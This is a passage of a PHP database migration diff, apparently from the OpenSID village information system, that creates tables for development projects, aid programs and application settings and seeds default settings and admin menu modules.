Hidupkan kembali tracking untuk mendapatkan informasi dari OpenDesa?', + 'server' => 'client', + 'tgl_berikutnya' => '2020-07-30 03:37:42', + 'updated_at' => '2020-07-30 10:37:03', + 'updated_by' => 1, + 'frekuensi' => 90, + 'aksi' => 'setting/aktifkan_tracking,notif/update_pengumuman', + 'aktif' => 0, + ], + ]); + } + + private function tabel_pembangunan() + { + DB::statement(" + CREATE TABLE `pembangunan` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_lokasi` int(11) DEFAULT NULL, + `sumber_dana` varchar(255) DEFAULT NULL, + `judul` varchar(255) DEFAULT NULL, + `slug` varchar(255) DEFAULT NULL, + `keterangan` varchar(255) DEFAULT NULL, + `lokasi` varchar(225) DEFAULT NULL, + `lat` varchar(225) DEFAULT NULL, + `lng` varchar(255) DEFAULT NULL, + `volume` varchar(100) DEFAULT NULL, + `tahun_anggaran` year(4) DEFAULT NULL, + `pelaksana_kegiatan` varchar(255) DEFAULT NULL, + `status` tinyint(3) NOT NULL DEFAULT 1, + `created_at` datetime DEFAULT NULL, + `updated_at` datetime DEFAULT NULL, + `foto` varchar(255) DEFAULT NULL, + `anggaran` bigint(20) DEFAULT 0, + `perubahan_anggaran` int(11) DEFAULT 0, + `sumber_biaya_pemerintah` bigint(20) DEFAULT 0, + `sumber_biaya_provinsi` bigint(20) DEFAULT 0, + `sumber_biaya_kab_kota` bigint(20) DEFAULT 0, + `sumber_biaya_swadaya` bigint(20) DEFAULT 0, + `sumber_biaya_jumlah` bigint(20) DEFAULT 0, + `manfaat` varchar(100) DEFAULT NULL, + `waktu` int(11) DEFAULT 0, + `sifat_proyek` varchar(100) DEFAULT 'BARU', + PRIMARY KEY (`id`), + UNIQUE KEY `slug` (`slug`), + KEY `id_lokasi` (`id_lokasi`) + ); + "); + + DB::statement(' + CREATE TABLE `pembangunan_ref_dokumentasi` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `id_pembangunan` int(11) NOT NULL, + `gambar` varchar(255) DEFAULT NULL, + `persentase` varchar(255) DEFAULT NULL, + `keterangan` varchar(255) DEFAULT NULL, + `created_at` datetime DEFAULT NULL, + `updated_at` datetime DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `id_pembangunan` (`id_pembangunan`) + ); + '); + } + + private function tabel_lapak() + { + DB::statement(' + CREATE TABLE `produk_kategori` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `kategori` varchar(50) DEFAULT NULL, + `slug` varchar(100) DEFAULT NULL, + `status` tinyint(1) NOT NULL DEFAULT 1, + PRIMARY KEY (`id`) + ); + '); + } + + private function tabel_bantuan() + { + DB::statement(' + CREATE TABLE `program` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `nama` varchar(100) NOT NULL, + `sasaran` tinyint(4) DEFAULT NULL, + `ndesc` varchar(500) DEFAULT NULL, + `sdate` date NOT NULL, + `edate` date NOT NULL, + `userid` mediumint(9) NOT NULL, + `status` tinyint(1) NOT NULL DEFAULT 0, + `asaldana` char(30) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(" + CREATE TABLE `program_peserta` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `peserta` varchar(30) NOT NULL, + `program_id` int(11) NOT NULL, + `no_id_kartu` varchar(30) DEFAULT NULL, + `kartu_nik` varchar(30) NOT NULL, + `kartu_nama` varchar(100) NOT NULL, + `kartu_tempat_lahir` varchar(100) NOT NULL DEFAULT '', + `kartu_tanggal_lahir` date NOT NULL, + `kartu_alamat` varchar(200) NOT NULL DEFAULT '', + `kartu_peserta` varchar(100) DEFAULT NULL, + `kartu_id_pend` int(11) DEFAULT NULL, + PRIMARY KEY (`id`) + ); + "); + } + + private function tabel_sistem() + { + DB::statement(' + CREATE TABLE `setting_aplikasi` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `key` varchar(50) DEFAULT NULL, + `value` text DEFAULT NULL, + `keterangan` varchar(200) DEFAULT NULL, + `jenis` varchar(30) DEFAULT NULL, + `kategori` varchar(30) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `key` (`key`) + ); + '); + + DB::table('setting_aplikasi')->insert([ + [ + 'id' => 1, + 'key' => 'sebutan_kabupaten', + 'value' => 'kabupaten', + 'keterangan' => 'Pengganti sebutan wilayah kabupaten', + 'jenis' => '', + 'kategori' => '', + ], + [ + 'id' => 2, + 'key' => 'sebutan_kabupaten_singkat', + 'value' => 'kab.', + 'keterangan' => 'Pengganti sebutan singkatan wilayah kabupaten', + 'jenis' => '', + 'kategori' => '', + ], + [ + 'id' => 3, + 'key' => 'sebutan_kecamatan', + 'value' => 'kecamatan', + 'keterangan' => 'Pengganti sebutan wilayah kecamatan', + 'jenis' => '', + 'kategori' => '', + ], + [ + 'id' => 4, + 'key' => 'sebutan_kecamatan_singkat', + 'value' => 'kec.', + 'keterangan' => 'Pengganti sebutan singkatan wilayah kecamatan', + 'jenis' => '', + 'kategori' => '', + ], + [ + 'id' => 5, + 'key' => 'sebutan_desa', + 'value' => 'desa', + 'keterangan' => 'Pengganti sebutan wilayah desa', + 'jenis' => '', + 'kategori' => '', + ], + [ + 'id' => 6, + 'key' => 'sebutan_dusun', + 'value' => 'dusun', + 'keterangan' => 'Pengganti sebutan wilayah dusun', + 'jenis' => '', + 'kategori' => '', + ], + [ + 'id' => 7, + 'key' => 'sebutan_camat', + 'value' => 'camat', + 'keterangan' => 'Pengganti sebutan jabatan camat', + 'jenis' => '', + 'kategori' => '', + ], + [ + 'id' => 8, + 'key' => 'website_title', + 'value' => 'Website Resmi', + 'keterangan' => 'Judul tab browser modul web', + 'jenis' => '', + 'kategori' => 'web', + ], + [ + 'id' => 9, + 'key' => 'login_title', + 'value' => 'OpenSID', + 'keterangan' => 'Judul tab browser halaman login modul administrasi', + 'jenis' => '', + 'kategori' => '', + ], + [ + 'id' => 10, + 'key' => 'admin_title', + 'value' => 'Sistem Informasi', + 'keterangan' => 'Judul tab browser modul administrasi', + 'jenis' => '', + 'kategori' => '', + ], + [ + 'id' => 11, + 'key' => 'web_theme', + 'value' => 'esensi', + 'keterangan' => 'Tema penampilan modul web', + 'jenis' => '', + 'kategori' => 'web', + ], + [ + 'id' => 12, + 'key' => 'offline_mode', + 'value' => '0', + 'keterangan' => 'Apakah modul web akan ditampilkan atau tidak', + 'jenis' => 'option-kode', + 'kategori' => '', + ], + [ + 'id' => 13, + 'key' => 'enable_track', + 'value' => '1', + 'keterangan' => 'Apakah akan mengirimkan data statistik ke tracker', + 'jenis' => 'boolean', + 'kategori' => '', + ], + [ + 'id' => 16, + 'key' => 'mapbox_key', + 'value' => '', + 'keterangan' => 'Mapbox API Key untuk peta', + 'jenis' => '', + 'kategori' => 'web', + ], + [ + 'id' => 17, + 'key' => 'libreoffice_path', + 'value' => '', + 'keterangan' => 'Path tempat instal libreoffice di server SID', + 'jenis' => '', + 'kategori' => '', + ], + [ + 'id' => 18, + 'key' => 'sumber_gambar_slider', + 'value' => '2', + 'keterangan' => 'Sumber gambar slider besar', + 'jenis' => null, + 'kategori' => null, + ], + [ + 'id' => 19, + 'key' => 'sebutan_singkatan_kadus', + 'value' => 'kawil', + 'keterangan' => 'Sebutan singkatan jabatan kepala dusun', + 'jenis' => null, + 'kategori' => null, + ], + [ + 'id' => 20, + 'key' => 'current_version', + 'value' => '22.03', + 'keterangan' => 'Versi sekarang untuk migrasi', + 'jenis' => null, + 'kategori' => 'readonly', + ], + [ + 'id' => 21, + 'key' => 'timezone', + 'value' => 'Asia/Jakarta', + 'keterangan' => 'Zona waktu perekaman waktu dan tanggal', + 'jenis' => null, + 'kategori' => null, + ], + [ + 'id' => 23, + 'key' => 'web_artikel_per_page', + 'value' => '8', + 'keterangan' => 'Jumlah artikel dalam satu halaman', + 'jenis' => 'int', + 'kategori' => 'web_theme', + ], + [ + 'id' => 24, + 'key' => 'penomoran_surat', + 'value' => '2', + 'keterangan' => 'Penomoran surat mulai dari satu (1) setiap tahun', + 'jenis' => 'option', + 'kategori' => null, + ], + [ + 'id' => 25, + 'key' => 'dashboard_program_bantuan', + 'value' => '1', + 'keterangan' => 'ID program bantuan yang ditampilkan di dashboard', + 'jenis' => 'int', + 'kategori' => 'dashboard', + ], + [ + 'id' => 26, + 'key' => 'panjang_nomor_surat', + 'value' => '', + 'keterangan' => 'Nomor akan diisi \'0\' di sebelah kiri, kalau perlu', + 'jenis' => 'int', + 'kategori' => 'surat', + ], + [ + 'id' => 27, + 'key' => 'warna_tema_admin', + 'value' => 'skin-purple', + 'keterangan' => 'Warna dasar tema komponen Admin', + 'jenis' => 'option-value', + 'kategori' => null, + ], + [ + 'id' => 28, + 'key' => 'format_nomor_surat', + 'value' => '[kode_surat]/[nomor_surat, 3]/[kode_desa]/[bulan_romawi]/[tahun]', + 'keterangan' => 'Fomat penomoran surat', + 'jenis' => null, + 'kategori' => null, + ], + [ + 'id' => 30, + 'key' => 'penggunaan_server', + 'value' => '1 ', + 'keterangan' => 'Setting penggunaan server', + 'jenis' => 'int', + 'kategori' => 'sistem', + ], + [ + 'id' => 31, + 'key' => 'daftar_penerima_bantuan', + 'value' => '1', + 'keterangan' => 'Apakah akan tampilkan daftar penerima bantuan di statistik halaman muka', + 'jenis' => 'boolean', + 'kategori' => 'conf_web', + ], + [ + 'id' => 32, + 'key' => 'apbdes_footer', + 'value' => '1', + 'keterangan' => 'Apakah akan tampilkan grafik APBDes di halaman muka', + 'jenis' => 'boolean', + 'kategori' => 'conf_web', + ], + [ + 'id' => 33, + 'key' => 'apbdes_footer_all', + 'value' => '1', + 'keterangan' => 'Apakah akan tampilkan grafik APBDes di semua halaman', + 'jenis' => 'boolean', + 'kategori' => 'conf_web', + ], + [ + 'id' => 34, + 'key' => 'apbdes_manual_input', + 'value' => '0', + 'keterangan' => 'Apakah akan tampilkan grafik APBDes yang diinput secara manual', + 'jenis' => 'boolean', + 'kategori' => 'conf_web', + ], + [ + 'id' => 35, + 'key' => 'covid_data', + 'value' => '0', + 'keterangan' => 'Apakah akan tampilkan status Covid-19 Provinsi di halaman muka', + 'jenis' => 'boolean', + 'kategori' => 'conf_web', + ], + [ + 'id' => 36, + 'key' => 'covid_desa', + 'value' => '0', + 'keterangan' => 'Apakah akan tampilkan status Covid-19 Desa di halaman muka', + 'jenis' => 'boolean', + 'kategori' => 'conf_web', + ], + [ + 'id' => 37, + 'key' => 'covid_rss', + 'value' => '0', + 'keterangan' => 'Apakah akan tampilkan RSS Covid-19 di halaman muka', + 'jenis' => 'boolean', + 'kategori' => 'conf_web', + ], + [ + 'id' => 38, + 'key' => 'provinsi_covid', + 'value' => '52', + 'keterangan' => 'Kode provinsi status Covid-19 ', + 'jenis' => 'int', + 'kategori' => 'conf_web', + ], + [ + 'id' => 39, + 'key' => 'statistik_chart_3d', + 'value' => '1', + 'keterangan' => 'Apakah akan tampilkan Statistik Chart 3D', + 'jenis' => 'boolean', + 'kategori' => 'conf_web', + ], + [ + 'id' => 40, + 'key' => 'sebutan_nip_desa', + 'value' => 'NIPD', + 'keterangan' => 'Pengganti sebutan label niap/nipd', + 'jenis' => null, + 'kategori' => null, + ], + [ + 'id' => 43, + 'key' => 'token_opensid', + 'value' => '', + 'keterangan' => 'Token OpenSID', + 'jenis' => '', + 'kategori' => 'sistem', + ], + [ + 'id' => 44, + 'key' => 'layanan_mandiri', + 'value' => '1', + 'keterangan' => 'Apakah layanan mandiri ditampilkan atau tidak', + 'jenis' => 'boolean', + 'kategori' => 'setting_mandiri', + ], + [ + 'id' => 45, + 'key' => 'ukuran_lebar_bagan', + 'value' => '800', + 'keterangan' => 'Ukuran Lebar Bagan (800 / 1200 / 1400)', + 'jenis' => 'int', + 'kategori' => 'conf_bagan', + ], + [ + 'id' => 48, + 'key' => 'api_opendk_server', + 'value' => '', + 'keterangan' => 'Alamat Server OpenDK (contoh: https://demo.opendk.my.id)', + 'jenis' => null, + 'kategori' => 'opendk', + ], + [ + 'id' => 49, + 'key' => 'api_opendk_key', + 'value' => '', + 'keterangan' => 'OpenDK API Key untuk Sinkronisasi Data', + 'jenis' => null, + 'kategori' => 'opendk', + ], + [ + 'id' => 50, + 'key' => 'api_opendk_user', + 'value' => '', + 'keterangan' => 'Email Login Pengguna OpenDK', + 'jenis' => null, + 'kategori' => 'opendk', + ], + [ + 'id' => 51, + 'key' => 'api_opendk_password', + 'value' => '', + 'keterangan' => 'Password Login Pengguna OpenDK', + 'jenis' => null, + 'kategori' => 'opendk', + ], + [ + 'id' => 52, + 'key' => 'sebutan_kepala_desa', + 'value' => 'Kepala', + 'keterangan' => 'Pengganti sebutan jabatan Kepala Desa', + 'jenis' => null, + 'kategori' => null, + ], + [ + 'id' => 53, + 'key' => 'tgl_data_lengkap', + 'value' => null, + 'keterangan' => 'Atur data tanggal sudah lengkap', + 'jenis' => 'datetime', + 'kategori' => null, + ], + [ + 'id' => 54, + 'key' => 'tgl_data_lengkap_aktif', + 'value' => '0', + 'keterangan' => 'Aktif / Non-aktif data tanggal sudah lengkap', + 'jenis' => 'boolean', + 'kategori' => null, + ], + [ + 'id' => 113, + 'key' => 'api_gform_id_script', + 'value' => '', + 'keterangan' => 'Script ID untuk Google API', + 'jenis' => null, + 'kategori' => 'setting_analisis', + ], + [ + 'id' => 114, + 'key' => 'api_gform_credential', + 'value' => '', + 'keterangan' => 'Credential untuk Google API', + 'jenis' => 'textarea', + 'kategori' => 'setting_analisis', + ], + [ + 'id' => 115, + 'key' => 'api_gform_redirect_uri', + 'value' => 'https://berputar.opensid.or.id/index.php/first/get_form_info', + 'keterangan' => 'Redirecet URI untuk Google API', + 'jenis' => null, + 'kategori' => 'setting_analisis', + ], + [ + 'id' => 170, + 'key' => 'tampilkan_lapak_web', + 'value' => '1', + 'keterangan' => 'Aktif / Non-aktif Lapak di Halaman Website Url Terpisah', + 'jenis' => 'boolean', + 'kategori' => 'lapak', + ], + [ + 'id' => 171, + 'key' => 'pesan_singkat_wa', + 'value' => 'Saya ingin membeli [nama_produk] yang anda tawarkan di Lapak Desa [link_web]', + 'keterangan' => 'Pesan Singkat WhatsApp', + 'jenis' => 'textarea', + 'kategori' => 'lapak', + ], + [ + 'id' => 172, + 'key' => 'banyak_foto_tiap_produk', + 'value' => '3', + 'keterangan' => 'Banyaknya foto tiap produk yang bisa di unggah', + 'jenis' => 'int', + 'kategori' => 'lapak', + ], + [ + 'id' => 173, + 'key' => 'jumlah_produk_perhalaman', + 'value' => '10', + 'keterangan' => 'Jumlah produk yang ditampilkan dalam satu halaman', + 'jenis' => 'int', + 'kategori' => 'lapak', + ], + [ + 'id' => 176, + 'key' => 'layanan_opendesa_token', + 'value' => '', + 'keterangan' => 'Token pelanggan Layanan OpenDESA', + 'jenis' => 'textarea', + 'kategori' => 'pelanggan', + ], + [ + 'id' => 465, + 'key' => 'telegram_token', + 'value' => '', + 'keterangan' => 'Telgram token', + 'jenis' => null, + 'kategori' => 'sistem', + ], + [ + 'id' => 466, + 'key' => 'telegram_user_id', + 'value' => '', + 'keterangan' => 'Telgram user id untuk notifikasi ke pengguna', + 'jenis' => null, + 'kategori' => 'sistem', + ], + [ + 'id' => 605, + 'key' => 'tampilan_anjungan', + 'value' => '0', + 'keterangan' => 'Pilih tampilan di anjungan pada saat tidak ada aktifitas pada halaman login.', + 'jenis' => 'option-kode', + 'kategori' => 'setting_mandiri', + ], + [ + 'id' => 606, + 'key' => 'tampilan_anjungan_waktu', + 'value' => '30', + 'keterangan' => 'Atur waktu (detik) kapan tampilan di anjungan akan muncul pada saat tidak ada aktifitas di halaman login.', + 'jenis' => 'int', + 'kategori' => 'setting_mandiri', + ], + [ + 'id' => 607, + 'key' => 'tampilan_anjungan_slider', + 'value' => null, + 'keterangan' => 'Pilih album yang akan ditampilkan pada anjungan.', + 'jenis' => 'option', + 'kategori' => 'setting_mandiri', + ], + [ + 'id' => 608, + 'key' => 'tampilan_anjungan_video', + 'value' => null, + 'keterangan' => 'Masukan link video dengan format .mp4 yang akan ditampilkan pada anjungan', + 'jenis' => null, + 'kategori' => 'setting_mandiri', + ], + [ + 'id' => 787, + 'key' => 'tampilkan_pendaftaran', + 'value' => '0', + 'keterangan' => 'Aktifkan / Non Aktifkan Pendaftaran Layanan Mandiri', + 'jenis' => 'boolean', + 'kategori' => 'setting_mandiri', + ], + [ + 'id' => 788, + 'key' => 'tampilan_anjungan_audio', + 'value' => '0', + 'keterangan' => 'Apakah audio diaktifkan atau tidak saat video diputar', + 'jenis' => 'boolean', + 'kategori' => 'setting_mandiri', + ], + [ + 'id' => 873, + 'key' => 'branding_desa', + 'value' => 'LAYANAN MANDIRI', + 'keterangan' => 'Nama Branding Aplikasi Layanan Mandiri Android', + 'jenis' => null, + 'kategori' => 'mobile', + ], + ]); + + DB::statement(" + CREATE TABLE `setting_modul` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `modul` varchar(50) NOT NULL, + `url` varchar(50) NOT NULL, + `aktif` tinyint(1) NOT NULL DEFAULT 0, + `ikon` varchar(50) DEFAULT '', + `urut` int(4) DEFAULT NULL, + `level` tinyint(1) NOT NULL DEFAULT 2, + `hidden` tinyint(1) NOT NULL DEFAULT 0, + `ikon_kecil` varchar(50) DEFAULT '', + `parent` int(2) NOT NULL DEFAULT 0, + PRIMARY KEY (`id`) + ); + "); + + DB::table('setting_modul')->insert([ + [ + 'id' => 1, + 'modul' => 'Home', + 'url' => 'hom_sid', + 'aktif' => 1, + 'ikon' => 'fa-home', + 'urut' => 10, + 'level' => 2, + 'hidden' => 1, + 'ikon_kecil' => 'fa fa-home', + 'parent' => 0, + ], + [ + 'id' => 2, + 'modul' => 'Kependudukan', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-users', + 'urut' => 30, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-users', + 'parent' => 0, + ], + [ + 'id' => 3, + 'modul' => 'Statistik', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-line-chart', + 'urut' => 40, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-line-chart', + 'parent' => 0, + ], + [ + 'id' => 4, + 'modul' => 'Layanan Surat', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-book', + 'urut' => 50, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-book', + 'parent' => 0, + ], + [ + 'id' => 5, + 'modul' => 'Analisis', + 'url' => '', + 'aktif' => 1, + 'ikon' => ' fa-check-square-o', + 'urut' => 90, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-check-square-o', + 'parent' => 0, + ], + [ + 'id' => 6, + 'modul' => 'Bantuan', + 'url' => 'program_bantuan/clear', + 'aktif' => 1, + 'ikon' => 'fa-heart', + 'urut' => 100, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-heart', + 'parent' => 0, + ], + [ + 'id' => 7, + 'modul' => 'Pertanahan', + 'url' => 'cdesa/clear', + 'aktif' => 1, + 'ikon' => 'fa-map-signs', + 'urut' => 110, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-map-signs', + 'parent' => 0, + ], + [ + 'id' => 8, + 'modul' => 'Pengaturan Peta', + 'url' => 'plan', + 'aktif' => 1, + 'ikon' => 'fa-location-arrow', + 'urut' => 9, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-location-arrow', + 'parent' => 9, + ], + [ + 'id' => 9, + 'modul' => 'Pemetaan', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-globe', + 'urut' => 130, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-globe', + 'parent' => 0, + ], + [ + 'id' => 10, + 'modul' => 'SMS', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-envelope', + 'urut' => 140, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-envelope', + 'parent' => 0, + ], + [ + 'id' => 11, + 'modul' => 'Pengaturan', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-users', + 'urut' => 150, + 'level' => 1, + 'hidden' => 1, + 'ikon_kecil' => 'fa-users', + 'parent' => 0, + ], + [ + 'id' => 13, + 'modul' => 'Admin Web', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-desktop', + 'urut' => 160, + 'level' => 4, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-desktop', + 'parent' => 0, + ], + [ + 'id' => 14, + 'modul' => 'Layanan Mandiri', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-inbox', + 'urut' => 170, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-inbox', + 'parent' => 0, + ], + [ + 'id' => 15, + 'modul' => 'Sekretariat', + 'url' => '', + 'aktif' => 1, + 'ikon' => 'fa-archive', + 'urut' => 60, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => 'fa fa-archive', + 'parent' => 0, + ], + [ + 'id' => 17, + 'modul' => 'Identitas [Desa]', + 'url' => 'identitas_desa', + 'aktif' => 1, + 'ikon' => 'fa-id-card', + 'urut' => 2, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 200, + ], + [ + 'id' => 18, + 'modul' => 'Pemerintahan [Desa]', + 'url' => 'pengurus/clear', + 'aktif' => 1, + 'ikon' => 'fa-sitemap', + 'urut' => 3, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 200, + ], + [ + 'id' => 20, + 'modul' => 'Wilayah Administratif', + 'url' => 'sid_core/clear', + 'aktif' => 1, + 'ikon' => 'fa-map', + 'urut' => 2, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 200, + ], + [ + 'id' => 21, + 'modul' => 'Penduduk', + 'url' => 'penduduk/clear', + 'aktif' => 1, + 'ikon' => 'fa-user', + 'urut' => 2, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 2, + ], + [ + 'id' => 22, + 'modul' => 'Keluarga', + 'url' => 'keluarga/clear', + 'aktif' => 1, + 'ikon' => 'fa-users', + 'urut' => 3, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 2, + ], + [ + 'id' => 23, + 'modul' => 'Rumah Tangga', + 'url' => 'rtm/clear', + 'aktif' => 1, + 'ikon' => 'fa-venus-mars', + 'urut' => 4, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 2, + ], + [ + 'id' => 24, + 'modul' => 'Kelompok', + 'url' => 'kelompok/clear', + 'aktif' => 1, + 'ikon' => 'fa-sitemap', + 'urut' => 5, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 2, + ], + [ + 'id' => 25, + 'modul' => 'Data Suplemen', + 'url' => 'suplemen/clear', + 'aktif' => 1, + 'ikon' => 'fa-slideshare', + 'urut' => 6, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 2, + ], + [ + 'id' => 26, + 'modul' => 'Calon Pemilih', + 'url' => 'dpt/clear', + 'aktif' => 1, + 'ikon' => 'fa-podcast', + 'urut' => 7, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 2, + ], + [ + 'id' => 27, + 'modul' => 'Statistik Kependudukan', + 'url' => 'statistik/clear', + 'aktif' => 1, + 'ikon' => 'fa-bar-chart', + 'urut' => 1, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 3, + ], + [ + 'id' => 28, + 'modul' => 'Laporan Bulanan', + 'url' => 'laporan/clear', + 'aktif' => 1, + 'ikon' => 'fa-file-text', + 'urut' => 2, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 3, + ], + [ + 'id' => 29, + 'modul' => 'Laporan Kelompok Rentan', + 'url' => 'laporan_rentan/clear', + 'aktif' => 1, + 'ikon' => 'fa-wheelchair', + 'urut' => 3, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 3, + ], + [ + 'id' => 30, + 'modul' => 'Pengaturan Surat', + 'url' => 'surat_master/clear', + 'aktif' => 1, + 'ikon' => 'fa-cog', + 'urut' => 1, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 4, + ], + [ + 'id' => 31, + 'modul' => 'Cetak Surat', + 'url' => 'surat', + 'aktif' => 1, + 'ikon' => 'fa-files-o', + 'urut' => 2, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 4, + ], + [ + 'id' => 32, + 'modul' => 'Arsip Layanan', + 'url' => 'keluar/clear', + 'aktif' => 1, + 'ikon' => 'fa-folder-open', + 'urut' => 3, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 4, + ], + [ + 'id' => 33, + 'modul' => 'Panduan', + 'url' => 'surat/panduan', + 'aktif' => 1, + 'ikon' => 'fa fa-book', + 'urut' => 4, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 4, + ], + [ + 'id' => 39, + 'modul' => 'SMS', + 'url' => 'sms', + 'aktif' => 1, + 'ikon' => 'fa-envelope-open-o', + 'urut' => 1, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 10, + ], + [ + 'id' => 40, + 'modul' => 'Daftar Kontak', + 'url' => 'sms/kontak', + 'aktif' => 1, + 'ikon' => 'fa-id-card-o', + 'urut' => 2, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 10, + ], + [ + 'id' => 41, + 'modul' => 'Pengaturan SMS', + 'url' => 'sms/setting', + 'aktif' => 1, + 'ikon' => 'fa-gear', + 'urut' => 3, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 10, + ], + [ + 'id' => 42, + 'modul' => 'Modul', + 'url' => 'modul/clear', + 'aktif' => 1, + 'ikon' => 'fa-tags', + 'urut' => 1, + 'level' => 1, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 11, + ], + [ + 'id' => 43, + 'modul' => 'Aplikasi', + 'url' => 'setting', + 'aktif' => 1, + 'ikon' => 'fa-codepen', + 'urut' => 2, + 'level' => 1, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 11, + ], + [ + 'id' => 44, + 'modul' => 'Pengguna', + 'url' => 'man_user/clear', + 'aktif' => 1, + 'ikon' => 'fa-users', + 'urut' => 3, + 'level' => 1, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 11, + ], + [ + 'id' => 45, + 'modul' => 'Database', + 'url' => 'database', + 'aktif' => 1, + 'ikon' => 'fa-database', + 'urut' => 4, + 'level' => 1, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 11, + ], + [ + 'id' => 46, + 'modul' => 'Info Sistem', + 'url' => 'info_sistem', + 'aktif' => 1, + 'ikon' => 'fa-server', + 'urut' => 5, + 'level' => 1, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 11, + ], + [ + 'id' => 47, + 'modul' => 'Artikel', + 'url' => 'web/clear', + 'aktif' => 1, + 'ikon' => 'fa-file-movie-o', + 'urut' => 1, + 'level' => 4, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 13, + ], + [ + 'id' => 48, + 'modul' => 'Widget', + 'url' => 'web_widget/clear', + 'aktif' => 1, + 'ikon' => 'fa-windows', + 'urut' => 2, + 'level' => 4, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 13, + ], + [ + 'id' => 49, + 'modul' => 'Menu', + 'url' => 'menu/clear', + 'aktif' => 1, + 'ikon' => 'fa-bars', + 'urut' => 3, + 'level' => 4, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 13, + ], + [ + 'id' => 50, + 'modul' => 'Komentar', + 'url' => 'komentar/clear', + 'aktif' => 1, + 'ikon' => 'fa-comments', + 'urut' => 4, + 'level' => 4, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 13, + ], + [ + 'id' => 51, + 'modul' => 'Galeri', + 'url' => 'gallery/clear', + 'aktif' => 1, + 'ikon' => 'fa-image', + 'urut' => 5, + 'level' => 5, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 13, + ], + [ + 'id' => 52, + 'modul' => 'Informasi Publik', + 'url' => 'dokumen/clear', + 'aktif' => 1, + 'ikon' => 'fa-file-text', + 'urut' => 4, + 'level' => 4, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 15, + ], + [ + 'id' => 53, + 'modul' => 'Media Sosial', + 'url' => 'sosmed', + 'aktif' => 1, + 'ikon' => 'fa-facebook', + 'urut' => 7, + 'level' => 4, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 13, + ], + [ + 'id' => 54, + 'modul' => 'Slider', + 'url' => 'web/slider', + 'aktif' => 1, + 'ikon' => 'fa-film', + 'urut' => 8, + 'level' => 4, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 13, + ], + [ + 'id' => 55, + 'modul' => 'Kotak Pesan', + 'url' => 'mailbox/clear', + 'aktif' => 1, + 'ikon' => 'fa-wechat', + 'urut' => 1, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 14, + ], + [ + 'id' => 56, + 'modul' => 'Pendaftar Layanan Mandiri', + 'url' => 'mandiri/clear', + 'aktif' => 1, + 'ikon' => 'fa-500px', + 'urut' => 2, + 'level' => 2, + 'hidden' => 0, + 'ikon_kecil' => '', + 'parent' => 14, + ], + [ + 'id' => 57, + 'modul' => 'Surat Masuk', + 'url' => 'surat_masuk/clear', + 'aktif' => 1, 